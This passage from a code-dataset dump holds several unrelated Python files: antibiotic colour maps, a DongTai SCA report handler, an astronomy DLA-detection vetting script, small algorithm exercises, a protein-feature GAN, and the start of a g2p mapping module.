u'mediumvioletred', u'seagreen', u'skyblue', u'slateblue', u'darkgrey', u'springgreen', u'teal', u'tomato', u'peru', u'yellowgreen', u'aqua', u'aquamarine', u'blue', u'blueviolet', u'brown', u'burlywood', u'cadetblue', u'chocolate', u'coral', u'cornflowerblue', u'crimson', u'darkblue', u'darkcyan', u'darkgoldenrod', u'darkgreen', u'darkgrey', u'darkmagenta', u'hotpink', u'darkolivegreen', u'yellow']\n\ncol_map = {\n    'Ceftriaxon': col_list[0],\n    'Oxacillin': col_list[1],\n    'Amoxicillin...Clavulansaeure': col_list[2],\n    'Meropenem': col_list[3],\n    'Piperacillin...Tazobactam': col_list[4],\n    'Ciprofloxacin': col_list[5],\n    'Colistin': col_list[6],\n    'Fluconazol': col_list[7],\n    'Fusidinsaeure': col_list[9],\n    'Cefepim': col_list[8],\n    'Penicillin': col_list[10],\n    'Imipenem': col_list[11],\n    'Gentamicin': col_list[12],\n    'Tetracyclin': col_list[13],\n    'Vancomycin': col_list[14],\n    'Clindamycin': col_list[15],\n    'Nitrofurantoin': col_list[16],\n    'Tigecyclin': col_list[17],\n    'Tobramycin': col_list[18],    \n    'Amikacin': col_list[19],\n    'Amoxicillin': col_list[20],\n    'Ampicillin...Amoxicillin': col_list[21],\n    'Anidulafungin': col_list[22],\n    'Aztreonam': col_list[23],\n    'Caspofungin': col_list[24],\n    'Cefazolin': col_list[25],\n    'Cefpodoxim': col_list[26],\n    'Ceftazidim': col_list[27], \n    'Cefuroxim': col_list[28], \n    'Cotrimoxazol': col_list[29],\n    'Daptomycin': col_list[30],\n    'Ertapenem': col_list[31],\n    'Erythromycin': col_list[32],\n    'Fosfomycin.Trometamol': col_list[33],\n    'Itraconazol': col_list[34],\n    'Levofloxacin': col_list[35],\n    'Micafungin': col_list[36],\n    'Norfloxacin': col_list[37],\n    'Rifampicin': col_list[38],\n    'Teicoplanin': col_list[39],\n    'Voriconazol': col_list[40],\n    'X5.Fluorocytosin': col_list[41]\n    }\n\ncol_map_anglicize = {}\nfor key in col_map.keys():\n    col_map_anglicize[anglicize_labels(key)] = col_map[key]\n\n# col_map_anglicize = {\n#     'Ceftriaxone': col_list[0],\n#     'Oxacillin': col_list[1],\n#     'Amoxicillin-Clavulanic acid': col_list[2],\n#     'Meropenem': col_list[3],\n#     'Piperacillin-Tazobactam': col_list[4],\n#     'Ciprofloxacin': col_list[5],\n#     'Colistin': col_list[6],\n#     'Fluconazole': col_list[7],\n#     'Fusidic acid': col_list[9],\n#     'Cefepime': col_list[8],\n#     'Penicillin': col_list[10],\n#     'Imipenem': col_list[11],\n#     'Gentamicin': col_list[12],\n#     'Tetracycline': col_list[13],\n#     'Vancomycin': col_list[14],\n#     'Clindamycin': col_list[15],\n#     'Nitrofurantoin': col_list[16],\n#     'Tigecycline': col_list[17],\n#     'Tobramycin': col_list[18],    \n#     'Amikacin': col_list[19],\n#     'Amoxicillin': col_list[20],\n#     'Ampicillin-Amoxicillin': col_list[21],\n#     'Anidulafungin': col_list[22],\n#     'Aztreonam': col_list[23],\n#     'Caspofungin': col_list[24],\n#     'Cefazolin': col_list[25],\n#     'Cefpodoxime': col_list[26],\n#     'Ceftazidim': col_list[27], \n#     'Cefuroxime': col_list[28], \n#     'Trimethoprim-Sulfamethoxazole': col_list[29],\n#     'Daptomycin': col_list[30],\n#     'Ertapenem': col_list[31],\n#     'Erythromycin': col_list[32],\n#     'Fosfomycin-Trometamol': col_list[33],\n#     'Itraconazole': col_list[34],\n#     'Levofloxacin': col_list[35],\n#     'Micafungin': col_list[36],\n#     'Norfloxacin': col_list[37],\n#     'Rifampicin': col_list[38],\n#     'Teicoplanin': col_list[39],\n#     'Voriconazole': col_list[40],\n#     '5-Fluorocytosin': col_list[41]\n#     }\n\n\ncmap_site = {\n    'USB': 'cornflowerblue',\n    'KSBL': 'coral',\n    'KSA': 'forestgreen',\n    'Viollier': 'firebrick'\n}\n","sub_path":"MaldiML/MaldiML/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":37575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"13390538","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author:owefsad\n# datetime:2020/10/23 11:55\n# software: PyCharm\n# project: webapi\nimport json\nimport logging\nimport time\n\nfrom dongtai.models.asset import Asset\nfrom dongtai.models.sca_maven_artifact import ScaMavenArtifact\nfrom dongtai.models.sca_maven_db import ScaMavenDb\nfrom dongtai.models.sca_vul_db import ScaVulDb\nfrom dongtai.models.vul_level import IastVulLevel\nfrom dongtai.utils import const\nfrom django.utils.translation import gettext_lazy as _\n\nfrom apiserver.report.handler.report_handler_interface import IReportHandler\nfrom apiserver.report.report_handler_factory import ReportHandler\n\nlogger = logging.getLogger('dongtai.openapi')\n\n\n@ReportHandler.register(const.REPORT_SCA)\nclass ScaHandler(IReportHandler):\n\n    def parse(self):\n        self.package_path = self.detail.get('packagePath')\n        self.package_signature = self.detail.get('packageSignature')\n        self.package_name = self.detail.get('packageName')\n        self.package_algorithm = self.detail.get('packageAlgorithm')\n\n    def save(self):\n        if all([self.agent_id, self.package_path, self.package_name, self.package_signature,\n                self.package_algorithm]) is False:\n            logger.warning(_(\"Data is incomplete, data: {}\").format(json.dumps(self.report)))\n        else:\n            if self.agent:\n                smd = ScaMavenDb.objects.filter(sha_1=self.package_signature).values(\"version\", \"aql\").first()\n                _version = self.package_name.split('/')[-1].replace('.jar', '').split('-')[-1]\n                version = smd.get('version', _version) if smd else _version\n                package_name = smd.get('aql', self.package_name) if smd else self.package_name\n                aids = ScaMavenArtifact.objects.filter(signature=self.package_signature).values(\"aid\")\n                if len(aids) > 0:\n                    aids = [_['aid'] for _ in aids]\n                vul_count = len(aids)\n                levels = ScaVulDb.objects.filter(id__in=aids).values('vul_level')\n\n                level = 'info'\n                if len(levels) > 0:\n                    levels = [_['vul_level'] for _ in levels]\n                    if 'high' in levels:\n                        level = 'high'\n                    elif 'high' in levels:\n                        level = 'high'\n                    elif 'medium' in levels:\n                        level = 'medium'\n                    elif 'low' in levels:\n                        level = 'low'\n                    else:\n                        level = 'info'\n\n                try:\n                    level = IastVulLevel.objects.get(name=level)\n                    current_version_agents = self.get_project_agents(self.agent)\n                    asset_count = 0\n                    if current_version_agents:\n                        asset_count = Asset.objects.values(\"id\").filter(signature_value=self.package_signature,\n                                                                        agent__in=current_version_agents).count()\n\n                    if asset_count == 0:\n                        Asset.objects.create(\n                            package_name=package_name,\n                            package_path=self.package_path,\n                            signature_algorithm=self.package_algorithm,\n                            signature_value=self.package_signature,\n                            dt=time.time(),\n                            version=version,\n                            level=level,\n                            vul_count=vul_count,\n                            agent=self.agent\n                        )\n                except Exception as e:\n                    logger.error(_('SCA data resolution failed, reasons: {}').format(e))\n","sub_path":"apiserver/report/handler/sca_handler.py","file_name":"sca_handler.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"514186804","text":"\"\"\" Module for vetting low S/N run\n\"\"\"\nfrom __future__ import print_function, absolute_import, division, unicode_literals\n\nimport sys\nimport io, json\nimport pdb\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\n\nfrom pkg_resources import resource_filename\n\nfrom astropy import units as u\nfrom astropy.table import Table, Column\nfrom astropy.coordinates import SkyCoord, match_coordinates_sky\n\nfrom linetools import utils as ltu\nfrom pyigm.abssys.dla import DLASystem\nfrom pyigm.abssys.lls import LLSSystem\nfrom pyigm.surveys.llssurvey import LLSSurvey\nfrom pyigm.surveys.dlasurvey import DLASurvey, dla_stat\n\nfrom dla_cnn.io import load_ml_dr7\n\ndef pred_to_tbl(pred_file):\n    spec_list = ltu.loadjson(pred_file)\n    ids, zabs, conf, NHI, sigNHI, biasNHI = [], [], [], [], [], []\n    # Loop to my loop\n    for ss,spec in enumerate(spec_list):\n        for dla in spec['dlas']:\n            if dla['type'] == \"LYB\":\n                continue\n            ids.append(ss)\n            zabs.append(dla['z_dla'])\n            NHI.append(dla['column_density'])\n            sigNHI.append(dla['std_column_density'])\n            biasNHI.append(dla['column_density_bias_adjust'])\n            conf.append(dla['dla_confidence'])\n    # Table\n    dla_tbl = Table()\n    dla_tbl['ids'] = ids\n    dla_tbl['zabs'] = zabs\n    dla_tbl['conf'] = conf\n    dla_tbl['sigNHI'] = sigNHI\n    dla_tbl['biasNHI'] = biasNHI\n    dla_tbl['NHI'] = NHI\n    # Return\n    return dla_tbl\n\n\ndef test_to_tbl(test_file):\n    test_dict = ltu.loadjson(test_file)\n    ids, zabs, sl, NHI, = [], [], [], []\n    ntest = len(test_dict)\n    # Loop to my loop\n    for ss in range(ntest):\n        ndla = test_dict[str(ss)]['nDLA']\n        for idla in range(ndla):\n            ids.append(ss)\n            zabs.append(test_dict[str(ss)][str(idla)]['zabs'])\n            NHI.append(test_dict[str(ss)][str(idla)]['NHI'])\n            sl.append(test_dict[str(ss)]['sl'])\n    # Table\n    test_tbl = Table()\n    test_tbl['ids'] = ids\n    test_tbl['zabs'] = zabs\n    test_tbl['NHI'] = NHI\n    test_tbl['sl'] = sl\n    # Return\n    return test_tbl\n\n\ndef score_ml_test(dz_toler=0.015, outfile='vette_lows2n.json',\n                  test_file='data/lows2n_train_83557_10000.json',\n                  pred_file='../Analysis/visuals_lows2n/lows2n_predictions.json.gz'):\n    \"\"\"\n    Parameters\n    ----------\n    dz_toler\n    outfile\n    test_file\n    pred_file\n\n    Returns\n    -------\n    writes\n\n    \"\"\"\n    # Load Test\n    lows2n_dlas = test_to_tbl(test_file)\n    ntest = len(lows2n_dlas)\n    # Load ML\n    ml_abs = pred_to_tbl(pred_file)\n    ml_dlas = ml_abs['NHI'] >= 20.3\n\n\n    # Loop on test DLAs and save indices of the matches\n    test_ml_idx = np.zeros(ntest).astype(int) - 99999\n    for ii in range(ntest):\n        # Match to ML sl\n        in_sl = np.where(ml_abs['ids'] == lows2n_dlas['ids'][ii])[0]\n        dla_mts = np.where(np.abs(ml_abs['zabs'][in_sl] - lows2n_dlas['zabs'][ii]) < dz_toler)[0]\n        nmt = len(dla_mts)\n        if nmt == 0:  # No match within dz\n            pass\n        elif nmt == 1:  # No match\n            if ml_abs['NHI'][in_sl][dla_mts[0]] > 20.2999:\n                test_ml_idx[ii] = in_sl[dla_mts[0]]\n            else:\n                test_ml_idx[ii] = -1 * in_sl[dla_mts[0]]\n        else:  # Very rarely the ML identifies two DLAs in the window\n            print(\"Double hit in lows2n DLA {:d}\".format(ii))\n            imin = np.argmin(np.abs(ml_abs['zabs'][in_sl] - lows2n_dlas['zabs'][ii]))\n            test_ml_idx[ii] = in_sl[imin]\n\n    match = test_ml_idx >= 0\n    print(\"There were {:d} DLAs discovered by the CNN\".format(np.sum(ml_dlas)))\n    print(\"There were {:d} DLAs recovered out of {:d}\".format(np.sum(match), ntest))\n    print(\"There were {:d} false positive DLAs\".format(np.sum(ml_dlas)-np.sum(match)))\n\n    # Write out misses\n    misses = np.where(test_ml_idx == -99999)[0]\n    print(\"There were {:d} DLAs missed altogether (false negatives)\".format(len(misses)))\n    mtbl = Table()\n    for key in ['sl', 'NHI', 'zabs']:\n        mtbl[key] = lows2n_dlas[key][misses]\n    mtbl.write('lows2n_misses.ascii', format='ascii.fixed_width', overwrite=True)\n\n    # Write out SLLS\n    sllss = np.where((test_ml_idx < 0) & (test_ml_idx != -99999))[0]\n    print(\"There were {:d} DLAs recovered as SLLS\".format(len(sllss)))\n    stbl = Table()\n    for key in ['sl', 'NHI', 'zabs']:\n        stbl[key] = lows2n_dlas[key][sllss]\n    mtbl.write('lows2n_slls.ascii', format='ascii.fixed_width', overwrite=True)\n\n    # Save\n    out_dict = {}\n    out_dict['test_idx'] = test_ml_idx  # -1 are misses, -99 are not DLAs in PN, -9 are SLLS\n    ltu.savejson(outfile, ltu.jsonify(out_dict), overwrite=True)\n\n    # Stats on dz\n    dz = ml_abs['zabs'][test_ml_idx[match]] - lows2n_dlas['zabs'][match]\n    print(\"Median dz = {} and sigma(dz)= {}\".format(np.median(dz), np.std(dz)))\n\n\ndef examine_false_pos(test_file='data/test_dlas_96629_10000.json.gz',\n                      pred_file='data/test_dlas_96629_predictions.json.gz',\n                      vette_file='vette_10k.json'):\n    \"\"\" Examine false positives in the Test set (held out)\n    \"\"\"\n    from pyigm.surveys.dlasurvey import DLASurvey\n    import h5py\n    import json\n    from matplotlib import pyplot as plt\n    # Load Test\n    test_dlas = test_to_tbl(test_file)\n    ntest = len(test_dlas)\n    # Load hdf5\n    CNN_result_path = '/home/xavier/Projects/ML_DLA_results/CNN/'\n    hdf5_datafile = CNN_result_path+'gensample_hdf5_files/test_dlas_96629_10000.hdf5'\n    hdf = h5py.File(hdf5_datafile, 'r')\n    headers = json.loads(hdf['meta'].value)['headers']\n    # Load ML\n    ml_abs = pred_to_tbl(pred_file)\n    # Vette\n    vette = ltu.loadjson(vette_file)\n    test_ml_idx = np.array(vette['test_idx'])\n    # Load DR5\n    dr5 = DLASurvey.load_SDSS_DR5()\n    all_dr5 = DLASurvey.load_SDSS_DR5(sample='all_sys')\n\n    # False positives\n    fpos = ml_abs['NHI'] >= 20.3  # Must be a DLA\n    imatched = np.where(test_ml_idx >= 0)[0]\n    match_val = test_ml_idx[imatched]\n    fpos[match_val] = False\n    print(\"There are {:d} total false positives\".format(np.sum(fpos)))\n    # This nearly matches David's.  Will run with his analysis.\n\n    fpos_in_dr5 = fpos.copy()\n    # Restrict on DR5\n    for idx in np.where(fpos_in_dr5)[0]:\n        # Convoluted indexing..\n        mlid = ml_abs['ids'][idx]\n        # Plate/Fiber\n        plate = headers[mlid]['PLATE']\n        fib = headers[mlid]['FIBER']\n        # Finally, match to DR5\n        dr5_sl = np.where((dr5.sightlines['PLATE'] == plate) &\n                          (dr5.sightlines['FIB'] == fib))[0][0]\n        if (ml_abs['zabs'][idx] >= dr5.sightlines['Z_START'][dr5_sl]) & \\\n                (ml_abs['zabs'][idx] <= dr5.sightlines['Z_END'][dr5_sl]):\n            pass\n        else:\n            fpos_in_dr5[idx] = False\n    print(\"Number of FP in DR5 analysis region = {:d}\".format(np.sum(fpos_in_dr5)))\n\n    # How many match to DR5 SLLS?\n    slls = all_dr5.NHI < 20.3\n    slls_coord = all_dr5.coord[slls]\n    slls_zabs = all_dr5.zabs[slls]\n    nslls = 0\n    for idx in np.where(fpos_in_dr5)[0]:\n        # Convoluted indexing..\n        mlid = ml_abs['ids'][idx]\n        # RA/DEC\n        ra = headers[mlid]['RA_GROUP']\n        dec = headers[mlid]['DEC_GROUP']\n        coord = SkyCoord(ra=ra, dec=dec, unit='deg')\n        # Match coord\n        mt = coord.separation(slls_coord) < 3*u.arcsec\n        if np.any(mt):\n            # Match redshift\n            if np.min(np.abs(slls_zabs[mt] - ml_abs['zabs'][idx])) < 0.015:\n                nslls += 1\n    print(\"Number of FP that are SLLS in DR5 = {:d}\".format(nslls))\n\n    low_NHI = ml_abs['NHI'][fpos_in_dr5] < 20.5\n    print(\"Number of FP that are NHI <= 20.5 = {:d}\".format(np.sum(low_NHI)))\n\n    # Write out\n    fp_tbl = Table()\n    for key in ['ids', 'NHI', 'zabs', 'conf']:\n        fp_tbl[key] = ml_abs[key][fpos_in_dr5]\n    fp_tbl.write('test10k_false_pos.ascii', format='ascii.fixed_width', overwrite=True)\n\n    # Histogram\n    dr5_idx = np.where(fpos_in_dr5)\n    plt.clf()\n    ax = plt.gca()\n    ax.hist(ml_abs['conf'][dr5_idx])\n    plt.show()\n\n\ndef high_nhi_neg():\n    \"\"\" Examine High NHI false negatives in 10k test\n    \"\"\"\n    # Load ML\n    ml_abs = pred_to_tbl('../Vetting/data/test_dlas_96629_predictions.json.gz')\n    # Load Test\n    test_dlas = test_to_tbl('../Vetting/data/test_dlas_96629_10000.json.gz')\n    # Load vette\n    vette_10k = ltu.loadjson('../Vetting/vette_10k.json')\n    test_ml_idx = np.array(vette_10k['test_idx'])\n\n    misses = np.where(test_ml_idx == -99999)[0]\n    highNHI = test_dlas['NHI'][misses] > 21.2\n    high_tbl = test_dlas[misses[highNHI]]\n\n    # Write\n    high_tbl.write('test_highNHI_neg.ascii', format='ascii.fixed_width', overwrite=True)\n\ndef main(flg):\n\n    if (flg & 2**0):  # Scorecard the ML run\n        score_ml_test() # 10k\n        #score_ml_test(outfile='vette_5k.json',\n        #          test_file='data/test_dlas_5k96451.json.gz',\n        #          pred_file='data/test_dlas_5k96451_predictions.json.gz')\n\n    if (flg & 2**1):  # Generate list of high NHI\n        high_nhi_neg()\n\n    if (flg & 2**2):  # Generate list of high NHI\n        examine_false_pos()\n\n# Command line execution\nif __name__ == '__main__':\n\n    if len(sys.argv) == 1: #\n        flg_vet = 0\n        flg_vet += 2**0   # Main scorecard\n        #flg_vet += 2**1   # High NHI\n        #flg_vet += 2**2   # False positives\n    else:\n        flg_vet = int(sys.argv[1])\n\n    main(flg_vet)\n","sub_path":"papers/I/Vetting/py/vet_lows2n.py","file_name":"vet_lows2n.py","file_ext":"py","file_size_in_byte":9416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"405546816","text":"import math\n\n\ndef average_number():  # среднее\n    temperature = 0\n    temperatures = []\n    while temperature > -300:\n        temperature = float(input())\n        if temperature < -300:\n            print(round(math.fsum(temperatures) / len(temperatures), 2))\n        else:\n            temperatures.append(temperature)\n\n\naverage_number()\n","sub_path":"mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"560784674","text":"# Function to get user data\ndef get_user_data(self, name, date, place):\n    \"\"\"\n            :name: employee name\n            :date: joining date\n            :place: place\n            :return: json\n        \"\"\"\n    user_token = self.request.session['user_token']\n    headers = {\n        \"x-auth-token\": user_token\n    }\n    data = {\n        \"name\": name,\n        \"date\": date,\n        \"place\": place,\n\n    }\n    url = self.url + '/api/v1/filterUser'\n    params = {}\n    response = request_retry(url, headers=headers, params=params, json_data=data, method='put')\n    return response.json()\n\n\nimport itertools\n\n\ndef iter_primes():\n    # an iterator of all numbers between 2 and +infinity\n    numbers = itertools.count(2)\n\n    # generate primes forever\n    while True:\n        # get the first number from the iterator (always a prime)\n        prime = next(numbers)\n        yield prime\n\n        # this code iteratively builds up a chain of\n        # filters...slightly tricky, but ponder it a bit\n        numbers = filter(prime.__rmod__, numbers)\n\n\nfor p in iter_primes():\n    if p > 1000:\n        break\n    print(p)\n","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"587817406","text":"class Solution:\n    def majorityElement(self, nums: List[int]) -> int:\n        ans = nums[0]\n        count =0\n        for n in nums:\n            if count==0:\n                ans=n\n            count= count +1 if ans==n else count-1\n        return ans\n\n    # boyer-moore voting algo\n","sub_path":"LeetCode/169. Majority Element.py","file_name":"169. Majority Element.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"155217944","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: yixin\n\"\"\"\nfrom keras.layers import Dense,Dropout,Input\nfrom keras.models import Model,Sequential\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.optimizers import Adam\nimport numpy as np\nimport HXYutil\n\n\"\"\"Select GPU\"\"\"\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\nlosses = []\nacc=[]\n\nx_train = HXYutil.getdata()\nx_size=len(x_train)\n\n# Building generator and discriminator\ndef build_generator():\n    model=Sequential()\n    model.add(Dense(units=512,input_dim=20))\n    model.add(LeakyReLU(alpha=0.2))\n    model.add(Dense(units=1024))\n    model.add(LeakyReLU(alpha=0.2))\n    model.add(Dense(units=20))\n    model.add(LeakyReLU(alpha=0.2))\n    g_adam = Adam(0.0005,0.5)\n    model.compile(loss='binary_crossentropy',optimizer=g_adam)\n    return model\ngenerator=build_generator()\ngenerator.build((None,20))\n\ndef build_discriminator():\n  model=Sequential()\n  model.add(Dense(units=512,input_dim=20))\n  model.add(LeakyReLU(alpha=0.2))\n  model.add(Dense(units=256))\n  model.add(LeakyReLU(alpha=0.2))\n  model.add(Dense(units=128))\n  model.add(LeakyReLU(alpha=0.2))\n  model.add(Dense(units=1,activation='sigmoid'))\n\n  d_adam = Adam(0.0005,0.5)\n  model.compile(loss='binary_crossentropy',metrics=['accuracy'],optimizer=d_adam)\n  model.build((None,20))\n  return model\n\ndiscriminator=build_discriminator()\n\n\n\ndef build_GAN(discriminator,generator):\n  discriminator.trainable=False\n  GAN_input=Input(shape=(20,))\n  x=generator(GAN_input)\n  GAN_output=discriminator(x)\n  GAN=Model(inputs=GAN_input,outputs=GAN_output)\n  GAN_rmsprop = Adam(0.0005,0.5)\n\n  GAN.compile(loss='binary_crossentropy',optimizer=GAN_rmsprop)\n  return GAN\n\nGAN=build_GAN(discriminator,generator)\n\ndef train_GAN(time):\n    generator = build_generator()\n    discriminator = build_discriminator()\n    GAN = build_GAN(discriminator, generator)\n\n    train = 0\n    for train in range (time):\n        start = 0\n        for start in range(x_size):\n            print(\"time %d Epoch %d\" % (train+1 ,start))\n            #The length of a protein\n            cur_legth=len(x_train[start])\n\n#            noise1 = np.random.randint(-9, 9, size=(cur_legth,20), dtype='int16')\n            noise1 = np.random.normal(0,1,(cur_legth,20))\n            #One protein corresponds to the pseudo protein\n            fake_images1 = generator.predict(noise1)\n            \n            real_images = x_train[start]\n\n           #Establish true and fake data labels\n            label_fake = np.zeros(cur_legth)\n            label_real = np.ones(cur_legth)\n            for j in range(cur_legth):\n                label_real[j] = np.array([0.9])\n\n            x = np.concatenate([fake_images1, real_images])\n            y = np.concatenate([label_fake, label_real])\n\n            #  Training discriminator\n            discriminator.trainable = True\n            d_loss,d_acc = discriminator.train_on_batch(x, y)\n\n            #  Training generator\n            discriminator.trainable = False\n            g_loss = GAN.train_on_batch(fake_images1, label_real)\n           \n            losses.append((d_loss, g_loss))\n            acc.append(d_acc)\n\n           \n            if start > len(x_train):\n                start = 0\n                print('epoch 1')\n            if start % 20 == 0:\n               \n                print('discriminator loss at step %s: %s' % (start, d_loss))\n                print('generator loss at step %s: %s' % (start, g_loss))\n                print('discriminator acc at step %s: %s' % (start, d_acc))\n\n\n\n\n#Start training\ntrain_GAN(20)\n#Setting generator weights is not trainable\ngenerator.trainable=False\ngenerator.save('DenseGAN_net_nosort.h5')\n#Get generator output\ni=0\nx2=[]\nfor i in range(x_size):\n    z1=generator.predict(x_train[i])\n    #X2 is the fake data generated by the generator\n    x2.append(z1)\n\n#The generated features are spliced with PSSM\nconall=[]\nj=0\nfor j in range(x_size):\n    con_one=np.concatenate((x_train[j],x2[j]),axis=1)\n    conall.append(con_one)\n\nx_con=np.array(conall)\nnp.save('X_train_sort.npy', x_con)","sub_path":"GAN code/DenseGan.py","file_name":"DenseGan.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"52974376","text":"\"\"\"\n\nModule for all things related to lookup tables\n\n\"\"\"\n\nimport csv\nimport os\nimport re\nimport json\nfrom typing import DefaultDict, List, Pattern, Union\nfrom collections import defaultdict, OrderedDict\nfrom itertools import chain\nfrom pathlib import Path\nfrom operator import methodcaller\nfrom copy import deepcopy\n\nimport yaml\n\nfrom g2p import exceptions\nfrom g2p.mappings.langs import __file__ as LANGS_FILE, LANGS, MAPPINGS_AVAILABLE\nfrom g2p.mappings.utils import create_fixed_width_lookbehind, escape_special_characters, normalize\nfrom g2p.mappings.utils import flatten_abbreviations, IndentDumper, load_abbreviations_from_file\nfrom g2p.mappings.utils import load_from_file, load_mapping_from_path, unicode_escape, validate\nfrom g2p.log import LOGGER\n\n\nclass Mapping():\n    \"\"\" Class for lookup tables\n\n        @param as_is: bool = False\n            Evaluate g2p rules in mapping in the order they are.\n            Default is to reverse sort them by length.\n\n        @param case_sensitive: bool = True\n            Lower all rules and conversion input\n\n        @param escape_special: bool = False\n            Escape special characters in rules\n\n        @param norm_form: str = \"NFC\"\n            Normalization standard to follow. NFC | NKFC | NFD | NKFD\n\n        @param reverse: bool = False\n            Reverse all mappings\n\n    \"\"\"\n\n    def __init__(self, mapping=None, abbreviations: Union[str, DefaultDict[str, List[str]]] = False, **kwargs):\n        # should these just be explicit instead of kwargs...\n        self.allowable_kwargs = ['language_name', 'display_name', 'mapping', 'in_lang',\n                                 'out_lang', 'out_delimiter', 'as_is', 'case_sensitive', 'escape_special', 'norm_form', 'reverse']\n        self.kwargs = OrderedDict(kwargs)\n        self.processed = False\n        if isinstance(abbreviations, defaultdict) or not abbreviations:\n            self.abbreviations = abbreviations\n        elif abbreviations:\n            self.abbreviations = load_abbreviations_from_file(\n                abbreviations)\n        # Handle user-supplied list\n        if isinstance(mapping, list):\n            self.mapping = validate(mapping)\n        elif isinstance(mapping, str):\n            loaded_config = load_mapping_from_path(mapping)\n            self.process_loaded_config(loaded_config)\n        else:\n            if \"in_lang\" in self.kwargs and \"out_lang\" in self.kwargs:\n                loaded_config = self.find_mapping(\n                    self.kwargs['in_lang'], self.kwargs['out_lang'])\n                self.process_loaded_config(loaded_config)\n            elif 'id' in self.kwargs:\n                loaded_config = self.find_mapping_by_id(self.kwargs['id'])\n                self.process_loaded_config(loaded_config)\n            else:\n                raise exceptions.MalformedLookup()\n        if self.abbreviations:\n            for abb, stands_for in self.abbreviations.items():\n                abb_match = re.compile(abb)\n                abb_repl = '|'.join(stands_for)\n                if self.mapping and 'match_pattern' not in self.mapping[0]:\n                    for io in self.mapping:\n                        for key in io.keys():\n                            if key in ['in', 'out', 'context_before', 'context_after'] and re.search(abb_match, io[key]):\n                                io[key] = re.sub(\n                                    abb_match, unicode_escape(abb_repl), io[key])\n        if not self.processed:\n            self.mapping = self.process_kwargs(self.mapping)\n\n    def __len__(self):\n        return len(self.mapping)\n\n    def __call__(self):\n        return self.mapping\n\n    def __iter__(self):\n        return iter(self.mapping)\n\n    def inventory(self, in_or_out: str = 'in'):\n        ''' Return just inputs or outputs as inventory of mapping\n        '''\n        return [x[in_or_out] for x in self.mapping]\n\n    def process_loaded_config(self, config):\n        ''' For a mapping loaded from a file, take the keyword arguments and supply them to the\n            Mapping, and get any abbreviations data.\n        '''\n        self.mapping = config['mapping_data']\n        mapping_kwargs = OrderedDict(\n            {k: v for k, v in config.items() if k in self.allowable_kwargs})\n        self.abbreviations = config.get('abbreviations_data', None)\n        # Merge kwargs, but prioritize kwargs that initialized the Mapping\n        self.kwargs = {**mapping_kwargs, **self.kwargs}\n\n    def plain_mapping(self):\n        ''' Return mapping\n        '''\n        return [{k: v for k, v in io.items() if k in ['in', 'out', 'context_before', 'context_after']} for io in self.mapping]\n\n    def process_kwargs(self, mapping):\n        ''' Apply kwargs in the order they are provided. kwargs are ordered as of python 3.6\n        '''\n        # Add defaults\n        if 'as_is' not in self.kwargs:\n            self.kwargs['as_is'] = False\n        if 'case_sensitive' not in self.kwargs:\n            self.kwargs['case_sensitive'] = True\n        if 'escape_special' not in self.kwargs:\n            self.kwargs['escape_special'] = False\n        if 'norm_form' not in self.kwargs:\n            self.kwargs['norm_form'] = 'NFC'\n        if 'reverse' not in self.kwargs:\n            self.kwargs['reverse'] = False\n        # Process kwargs in order received\n        for kwarg, val in self.kwargs.items():\n            if kwarg == 'as_is' and not val:\n                # sort by reverse len\n                mapping = sorted(mapping, key=lambda x: len(\n                    x[\"in\"]), reverse=True)\n            elif kwarg == 'escape_special' and val:\n                mapping = [escape_special_characters(x) for x in mapping]\n            elif kwarg == 'case_sensitive' and not val:\n                mapping = self.lower_mappings(mapping)\n            elif kwarg == 'norm_form' and val:\n                for io in mapping:\n                    for k, v in io.items():\n                        if isinstance(v, str):\n                            io[k] = normalize(v, self.kwargs['norm_form'])\n            elif kwarg == 'reverse' and val:\n                mapping = self.reverse_mappings(mapping)\n        # After all processing is done, turn into regex\n        for io in mapping:\n            io['match_pattern'] = self.rule_to_regex(io)\n        self.processed = True\n        return mapping\n\n    def rule_to_regex(self, rule: str) -> Pattern:\n        \"\"\"Turns an input string (and the context) from an input/output pair\n        into a regular expression pattern\"\"\"\n        if \"context_before\" in rule and rule['context_before']:\n            before = rule[\"context_before\"]\n        else:\n            before = ''\n        if 'context_after' in rule and rule['context_after']:\n            after = rule[\"context_after\"]\n        else:\n            after = ''\n        input_match = re.sub(re.compile(\n            r'{\\d+}'), \"\", rule['in'])\n        try:\n            inp = create_fixed_width_lookbehind(before) + input_match\n            if after:\n                inp += f\"(?={after})\"\n            if not self.kwargs['case_sensitive']:\n                rule_regex = re.compile(inp, re.I)\n            else:\n                rule_regex = re.compile(inp)\n        except:\n            LOGGER.error(f'Your regex in mapping between {self.kwargs[\"in_lang\"]} and {self.kwargs[\"out_lang\"]} is malformed. \\\n                    Do you have un-escaped regex characters in your input {inp}, contexts {before}, {after}?')\n            raise Exception(\n                f'Your regex in mapping between {self.kwargs[\"in_lang\"]} and {self.kwargs[\"out_lang\"]} is malformed. \\\n                    Do you have un-escaped regex characters in your input {inp}, contexts {before}, {after}?')\n        return rule_regex\n\n    def reverse_mappings(self, mapping):\n        ''' Reverse the mapping\n        '''\n        for io in mapping:\n            io['in'], io['out'] = io['out'], io['in']\n        return mapping\n\n    def lower_mappings(self, mapping):\n        ''' Lower the mapping\n        '''\n        for io in mapping:\n            for k, v in io.items():\n                if k in ['in', 'out', 'context_before', 'context_after']:\n                    io[k] = v.lower()\n        return mapping\n\n    def 